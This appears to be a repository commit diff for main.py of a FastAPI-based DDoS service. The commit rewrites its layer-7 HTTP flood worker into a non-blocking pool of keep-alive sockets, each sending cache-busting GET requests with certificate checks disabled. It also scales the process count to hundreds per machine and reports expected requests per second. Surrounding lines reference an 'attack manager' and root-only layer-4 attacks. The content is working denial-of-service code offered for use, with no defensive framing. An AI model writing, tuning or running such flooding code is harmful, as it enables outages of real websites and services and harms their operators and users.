Samuraiog commited on
Commit
398ddd5
·
verified ·
1 Parent(s): 053e790

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +78 -96
main.py CHANGED
@@ -35,50 +35,29 @@ app = FastAPI(
35
  CPU_COUNT = psutil.cpu_count(logical=True) or 8
36
  TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
37
 
38
- # REALISTIC AUTO-DETECTION - Respects OS thread limits
39
- # Linux default: ~32K threads per process, ~unlimited processes
40
  def calculate_optimal_config():
41
- """Auto-calculate optimal configuration based on system resources."""
42
- # MUCH MORE CONSERVATIVE: Max 200 threads per process to avoid hitting limits
43
- # Focus on MORE PROCESSES with FEWER THREADS each
44
-
45
- if CPU_COUNT >= 48:
46
- # Mega servers (48-128 cores) - 48 cores example
47
- MAX_PROCESSES = CPU_COUNT * 6 # 288 processes
48
- THREADS_PER_PROCESS = 200 # 200 threads each
49
- # Total: 57,600 workers
50
- elif CPU_COUNT >= 32:
51
- # High-end servers (32-47 cores)
52
- MAX_PROCESSES = CPU_COUNT * 8 # 256 processes for 32 cores
53
- THREADS_PER_PROCESS = 250
54
- # Total: 64,000 workers
55
  elif CPU_COUNT >= 16:
56
- # Mid-range servers (16-31 cores)
57
- MAX_PROCESSES = CPU_COUNT * 12 # 192 processes for 16 cores
58
- THREADS_PER_PROCESS = 300
59
- # Total: 57,600 workers
60
  elif CPU_COUNT >= 8:
61
- # Standard servers (8-15 cores)
62
- MAX_PROCESSES = CPU_COUNT * 16 # 128 processes for 8 cores
63
- THREADS_PER_PROCESS = 400
64
- # Total: 51,200 workers
65
  elif CPU_COUNT >= 4:
66
- # Small servers (4-7 cores)
67
- MAX_PROCESSES = CPU_COUNT * 24 # 96 processes for 4 cores
68
- THREADS_PER_PROCESS = 500
69
- # Total: 48,000 workers
70
  else:
71
- # Minimal systems (2-3 cores)
72
- MAX_PROCESSES = CPU_COUNT * 32 # 64 processes for 2 cores
73
- THREADS_PER_PROCESS = 600
74
- # Total: 38,400 workers
75
 
76
- total_workers = MAX_PROCESSES * THREADS_PER_PROCESS
 
77
 
78
- return MAX_PROCESSES, THREADS_PER_PROCESS, total_workers
79
 
80
  MAX_PROCESSES, MAX_CONCURRENCY_PER_PROCESS, TOTAL_WORKERS = calculate_optimal_config()
81
- STATS_BATCH_UPDATE_SIZE = 500 # Larger batches for extreme performance
82
 
83
  # --- L7 Enhanced Headers Pool ---
84
  USER_AGENTS = [
@@ -269,61 +248,78 @@ def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type,
269
  sock.close()
270
 
271
  # ====================================================================================
272
- # OPTIMIZED L7 WORKER PROCESS
273
  # ====================================================================================
274
- def threaded_socket_worker(worker_id, host, port, path, use_ssl, stop_event, shared_counter):
275
- """High-performance threaded socket worker - synchronous for reliability."""
276
- local_counter = 0
277
- req_counter = 0
278
 
279
  # Pre-build HTTP request template
280
  http_template = f"GET {path}?_={{}} HTTP/1.1\r\nHost: {host}\r\nUser-Agent: Mozilla/5.0\r\nConnection: keep-alive\r\n\r\n"
281
 
282
- while not stop_event.is_set():
283
- sock = None
 
 
 
 
 
284
  try:
285
- # Create socket
286
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
287
  sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
288
- sock.settimeout(3)
289
- sock.connect((host, port))
 
290
 
291
  if use_ssl:
292
  import ssl as ssl_module
293
  context = ssl_module.create_default_context()
294
  context.check_hostname = False
295
  context.verify_mode = ssl_module.CERT_NONE
296
- sock = context.wrap_socket(sock, server_hostname=host)
297
-
298
- # Send burst of requests on same connection
299
- for _ in range(100):
300
- if stop_event.is_set():
301
- break
302
- try:
303
- request = http_template.format(req_counter).encode()
304
- sock.sendall(request)
305
- local_counter += 1
306
- req_counter += 1
307
-
308
- # Quick non-blocking read attempt
309
- sock.settimeout(0.001)
310
- try:
311
- _ = sock.recv(8192)
312
- except:
313
- pass
314
- except:
315
- break
316
-
317
- sock.close()
318
 
 
319
  except:
320
  pass
321
- finally:
322
- if sock:
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
323
  try:
324
  sock.close()
325
  except:
326
  pass
 
 
 
 
 
 
 
 
 
 
 
 
327
 
328
  # Batch counter updates
329
  if local_counter >= STATS_BATCH_UPDATE_SIZE:
@@ -331,32 +327,18 @@ def threaded_socket_worker(worker_id, host, port, path, use_ssl, stop_event, sha
331
  shared_counter.value += local_counter
332
  local_counter = 0
333
 
 
 
 
 
 
 
 
334
  # Final update
335
  if local_counter > 0:
336
  with shared_counter.get_lock():
337
  shared_counter.value += local_counter
338
 
339
- def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, thread_count):
340
- """L7 worker process - spawns many threads for socket flooding."""
341
- protocol = "https" if port in [443, 8443] else "http"
342
- use_ssl = (port in [443, 8443])
343
- host = target_ip
344
-
345
- # Launch threads
346
- threads = []
347
- for i in range(thread_count):
348
- t = threading.Thread(
349
- target=threaded_socket_worker,
350
- args=(i, host, port, path, use_ssl, stop_event, shared_counter),
351
- daemon=True
352
- )
353
- t.start()
354
- threads.append(t)
355
-
356
- # Wait for threads to complete
357
- for t in threads:
358
- t.join()
359
-
360
  # ====================================================================================
361
  # CENTRALIZED ATTACK MANAGER (SINGLETON)
362
  # ====================================================================================
@@ -571,11 +553,11 @@ async def on_startup():
571
  print(f" ")
572
  print(f" Auto-Optimized Configuration:")
573
  print(f" Processes: {MAX_PROCESSES}")
574
- print(f" Threads per Process: {MAX_CONCURRENCY_PER_PROCESS:,}")
575
- print(f" Total Concurrent Workers: {TOTAL_WORKERS:,}")
576
  print(f" ")
577
  print(f" Expected Performance:")
578
- print(f" Target RPS: {int(TOTAL_WORKERS * 0.8):,} - {int(TOTAL_WORKERS * 2):,}")
579
  print(f" ")
580
  if check_root():
581
  print("✅ Running with root privileges - L4 attacks ENABLED")
@@ -647,9 +629,9 @@ def root():
647
  "cpu_cores": CPU_COUNT,
648
  "ram_gb": round(TOTAL_RAM_GB, 1),
649
  "max_processes": MAX_PROCESSES,
650
- "threads_per_process": MAX_CONCURRENCY_PER_PROCESS,
651
- "total_workers": TOTAL_WORKERS,
652
- "expected_rps": f"{int(TOTAL_WORKERS * 0.8):,} - {int(TOTAL_WORKERS * 2):,}"
653
  }
654
  }
655
 
 
35
  CPU_COUNT = psutil.cpu_count(logical=True) or 8
36
  TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
37
 
38
+ # ULTRA-SIMPLE CONFIG - No threading, pure multiprocessing
39
+ # Each process creates many sockets in a tight loop
40
  def calculate_optimal_config():
41
+ """Calculate processes only - no threads!"""
42
+ # Simple: Lots of processes, each managing socket pool
43
+ if CPU_COUNT >= 32:
44
+ MAX_PROCESSES = CPU_COUNT * 16 # 512 processes for 32 cores
 
 
 
 
 
 
 
 
 
 
45
  elif CPU_COUNT >= 16:
46
+ MAX_PROCESSES = CPU_COUNT * 20 # 320 processes for 16 cores
 
 
 
47
  elif CPU_COUNT >= 8:
48
+ MAX_PROCESSES = CPU_COUNT * 32 # 256 processes for 8 cores
 
 
 
49
  elif CPU_COUNT >= 4:
50
+ MAX_PROCESSES = CPU_COUNT * 48 # 192 processes for 4 cores
 
 
 
51
  else:
52
+ MAX_PROCESSES = CPU_COUNT * 64 # 128 processes for 2 cores
 
 
 
53
 
54
+ SOCKETS_PER_PROCESS = 100 # Each process manages 100 persistent sockets
55
+ total_workers = MAX_PROCESSES * SOCKETS_PER_PROCESS
56
 
57
+ return MAX_PROCESSES, SOCKETS_PER_PROCESS, total_workers
58
 
59
  MAX_PROCESSES, MAX_CONCURRENCY_PER_PROCESS, TOTAL_WORKERS = calculate_optimal_config()
60
+ STATS_BATCH_UPDATE_SIZE = 1000 # Large batches
61
 
62
  # --- L7 Enhanced Headers Pool ---
63
  USER_AGENTS = [
 
248
  sock.close()
249
 
250
  # ====================================================================================
251
+ # OPTIMIZED L7 WORKER PROCESS - NO THREADS!
252
  # ====================================================================================
253
+ def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, socket_count):
254
+ """L7 worker - manages pool of sockets in single process (NO THREADING)."""
255
+ use_ssl = (port in [443, 8443])
256
+ host = target_ip
257
 
258
  # Pre-build HTTP request template
259
  http_template = f"GET {path}?_={{}} HTTP/1.1\r\nHost: {host}\r\nUser-Agent: Mozilla/5.0\r\nConnection: keep-alive\r\n\r\n"
260
 
261
+ # Socket pool
262
+ sockets = []
263
+ local_counter = 0
264
+ req_counter = 0
265
+
266
+ # Create initial socket pool
267
+ for _ in range(socket_count):
268
  try:
 
269
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
270
  sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
271
+ sock.settimeout(2)
272
+ sock.setblocking(False) # Non-blocking!
273
+ sock.connect_ex((host, port)) # Non-blocking connect
274
 
275
  if use_ssl:
276
  import ssl as ssl_module
277
  context = ssl_module.create_default_context()
278
  context.check_hostname = False
279
  context.verify_mode = ssl_module.CERT_NONE
280
+ sock = context.wrap_socket(sock, server_hostname=host, do_handshake_on_connect=False)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
281
 
282
+ sockets.append(sock)
283
  except:
284
  pass
285
+
286
+ # Main flood loop - cycle through all sockets
287
+ while not stop_event.is_set():
288
+ for sock in sockets[:]: # Copy list to allow modification
289
+ if stop_event.is_set():
290
+ break
291
+
292
+ try:
293
+ # Send request
294
+ request = http_template.format(req_counter).encode()
295
+ sock.sendall(request)
296
+ local_counter += 1
297
+ req_counter += 1
298
+
299
+ # Try non-blocking read
300
+ try:
301
+ _ = sock.recv(4096, socket.MSG_DONTWAIT)
302
+ except:
303
+ pass
304
+
305
+ except:
306
+ # Socket dead, recreate
307
  try:
308
  sock.close()
309
  except:
310
  pass
311
+ sockets.remove(sock)
312
+
313
+ # Create new socket
314
+ try:
315
+ new_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
316
+ new_sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
317
+ new_sock.settimeout(2)
318
+ new_sock.setblocking(False)
319
+ new_sock.connect_ex((host, port))
320
+ sockets.append(new_sock)
321
+ except:
322
+ pass
323
 
324
  # Batch counter updates
325
  if local_counter >= STATS_BATCH_UPDATE_SIZE:
 
327
  shared_counter.value += local_counter
328
  local_counter = 0
329
 
330
+ # Cleanup
331
+ for sock in sockets:
332
+ try:
333
+ sock.close()
334
+ except:
335
+ pass
336
+
337
  # Final update
338
  if local_counter > 0:
339
  with shared_counter.get_lock():
340
  shared_counter.value += local_counter
341
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
342
  # ====================================================================================
343
  # CENTRALIZED ATTACK MANAGER (SINGLETON)
344
  # ====================================================================================
 
553
  print(f" ")
554
  print(f" Auto-Optimized Configuration:")
555
  print(f" Processes: {MAX_PROCESSES}")
556
+ print(f" Sockets per Process: {MAX_CONCURRENCY_PER_PROCESS:,}")
557
+ print(f" Total Concurrent Sockets: {TOTAL_WORKERS:,}")
558
  print(f" ")
559
  print(f" Expected Performance:")
560
+ print(f" Target RPS: {int(TOTAL_WORKERS * 1.5):,} - {int(TOTAL_WORKERS * 3):,}")
561
  print(f" ")
562
  if check_root():
563
  print("✅ Running with root privileges - L4 attacks ENABLED")
 
629
  "cpu_cores": CPU_COUNT,
630
  "ram_gb": round(TOTAL_RAM_GB, 1),
631
  "max_processes": MAX_PROCESSES,
632
+ "sockets_per_process": MAX_CONCURRENCY_PER_PROCESS,
633
+ "total_sockets": TOTAL_WORKERS,
634
+ "expected_rps": f"{int(TOTAL_WORKERS * 1.5):,} - {int(TOTAL_WORKERS * 3):,}"
635
  }
636
  }
637